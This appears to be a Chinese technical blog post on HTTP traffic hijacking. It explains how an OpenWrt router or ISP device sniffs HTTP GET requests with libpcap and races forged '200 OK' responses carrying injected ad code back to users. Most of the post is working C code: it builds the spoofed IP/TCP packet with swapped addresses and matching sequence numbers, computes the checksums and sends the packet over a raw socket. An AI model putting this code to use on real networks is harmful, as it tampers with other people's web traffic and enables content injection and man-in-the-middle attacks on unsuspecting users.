流量劫持

原创

tcspecial 2022-12-15 14:13:30 博主文章分类：C/C++ ©著作权

文章标签 流量劫持原始套接字 TCP HTTP 校验和 文章分类 运维

©著作权归作者所有：来自51CTO博客作者tcspecial的原创作品，请联系作者获取转载授权，否则将追究法律责任

Table of Contents

一. 原理

二. 源码实现

三. 测试

github地址：

流量劫持比较复杂，一般来说运营商，路由器厂商，黑客都可能是流量劫持操作者。基于国内大部分网站以http明文协议为主，这无疑给劫持者提供了土壤。

本文演示了家庭路由器流量劫持实现，公共WIFI连接授权实现有点差异，它是用iptables重定向至webserver，有兴趣的同学可参考nodogsplash实现源码。

一. 原理

流量劫持_TCP

原理：

1. 嗅探用户http get请求流量。

2. 伪造http 200包（插入广告代码）。

两种场景：

1. 路由器侧

在路由器侧通过旁路的方式(libpcap)嗅探流量，并将伪造响应先于真实响应前发送给用户，后到的真实响应会被协议栈丢弃。

2. ISP侧

ISP网络设备流量分光至服务器，通过DPDK方式嗅探流量，并回应200 OK包。

二. 源码实现

2.1 实现环境

router: TP-LINK

router os: openwrt

lib:libpcap

2.2 核心代码

1. libpcap流量采集

2. DPI解析

3. 协议伪造

/**
 * 发送HTTP响应
 */
bool sendHttpResponse( char *buff, char *response )
{
    struct iphdr *ip = (struct iphdr*)buff;
    struct tcphdr *tcp = (struct tcphdr*)((char*)buff + sizeof(struct iphdr));

    int nHeadLen = ip->ihl*4 + tcp->doff*4;
    int Length = htons(ip->tot_len) - ip->ihl*4 - tcp->doff*4;

    char *pPacketBuffer = this->PacketBuffer;
    memset( (void*)pPacketBuffer,0,PACKET_BUFFER_LEN );

    // 添加html
    char *ContentBuffer = pPacketBuffer + 350;
    int nContentLen = snprintf( ContentBuffer,
                                1300,
                                response );

    // 内容长度
    char strLen[25];
    int cLen = sprintf( strLen,
                        "%d\r\n\r\n",
                        nContentLen );

    /*
     * nHeadLen(iphead +tcphead) + http_head + content_length + content
     */
    pPacketBuffer = ContentBuffer - ( nHeadLen + sizeof(HTTP_HEAD)-1 + cLen );
    memcpy( pPacketBuffer, ip, nHeadLen );
    memcpy( pPacketBuffer + nHeadLen, HTTP_HEAD, sizeof(HTTP_HEAD) );
    memcpy( pPacketBuffer + nHeadLen + sizeof(HTTP_HEAD)-1,strLen,cLen );

    // IP
    struct iphdr *pTempIP = (struct iphdr*)pPacketBuffer;
    pTempIP->version = 4;
    pTempIP->ihl = 5;
    pTempIP->protocol = IPPROTO_TCP;
    pTempIP->saddr = ip->daddr;
    pTempIP->daddr = ip->saddr;

    // TCP
    struct tcphdr *pTempTcp = (struct tcphdr*)((char*)pTempIP + sizeof(struct iphdr));
    if( pTempTcp == NULL )
    {
        printf( "%s\n","TCP NULL" );
        return false;
    }

    pTempTcp->source = tcp->dest;
    pTempTcp->dest = tcp->source;
    pTempTcp->seq = tcp->ack_seq;
    pTempTcp->ack_seq = ntohl( ntohl(tcp->seq) + Length );
    pTempTcp->ack = 1;
    pTempTcp->fin = 0;
    pTempTcp->psh = 1;

    // 校验和计算
    int nLen = nHeadLen + sizeof(HTTP_HEAD)-1 + cLen + nContentLen;
    pTempIP->tot_len = htons(nLen);
    IPCheckSum(pTempIP);

    // 原始套接字发送HTTP响应
    m_addr.sin_addr.s_addr = pTempIP->daddr;
    int count = sendto( m_rawsock,
                        (const char*)pTempIP,
                        ntohs(pTempIP->tot_len),
                        0,
                        (struct sockaddr *)&m_addr,
                        sizeof(struct sockaddr_in) );

    return count > 0;
}

4. 校验和计算

a. CRC32校验和计算，参见内核实现。

b. TCP/UDP的checksum，需要包含一个12字节的伪首部。TCP校验和覆盖TCP首部和TCP数据，而IP首部中的校验和只覆盖IP的首部，不覆盖IP数据报中的任何数据。

流量劫持_TCP_02

// IP检验和计算
int IPCheckSum( iphdr* ip )
{
    if( NULL==ip || 4 != ip->version || 5 > ip->ihl )
    {
        return -1;
    }

    unsigned char protocol = ip->protocol;
    
    if( !(protocol==IPPROTO_TCP || protocol==IPPROTO_UDP) )
    {
        ip->check = 0;
        ip->check = CheckSum((unsigned short*)ip, sizeof(struct iphdr));
        return 0;
    }

    char *ipdata = (char*)ip + ip->ihl*4;
    
    // 在tcp/udp头部上添加伪头部，注：直接修改ip头部分，实现比较巧妙
    CheckSumHeader *check = (CheckSumHeader*)(ipdata - sizeof(CheckSumHeader));

    // temp用于备份ip头部数据
    char temp[sizeof(CheckSumHeader)];
    memcpy(temp, check, sizeof(CheckSumHeader));
    
    check->SrcIP = ip->saddr;
    check->DestIP = ip->daddr;
    check->Zero = 0;
    check->Protocol = protocol;
    check->Length = ntohs(ntohs(ip->tot_len) - sizeof(struct iphdr));

    // tcp/udp从伪头部开始计算校验和
    if (protocol == IPPROTO_TCP)
    {
        struct tcphdr *tcp = (struct tcphdr*)ipdata;
        tcp->check = 0;
        tcp->check = CheckSum((unsigned short*)check,
                               ntohs(ip->tot_len) - sizeof(struct ip) + sizeof(CheckSumHeader));   // psd + tcp
    }
    else if (protocol == IPPROTO_UDP)
    {
        struct udphdr *udp = (struct udphdr*)ipdata;
        udp->check = 0;
        udp->check = CheckSum((unsigned short*)check,
                              ntohs(ip->tot_len) - sizeof(struct ip) + sizeof(CheckSumHeader));   // psd + tcp
    }

    // 恢复原ip头数据
    memcpy(check, temp, sizeof(CheckSumHeader));

    // 计算IP校验和
    ip->check = 0;
    ip->check = CheckSum((unsigned short*)ip, sizeof(struct iphdr));
    return 0;
}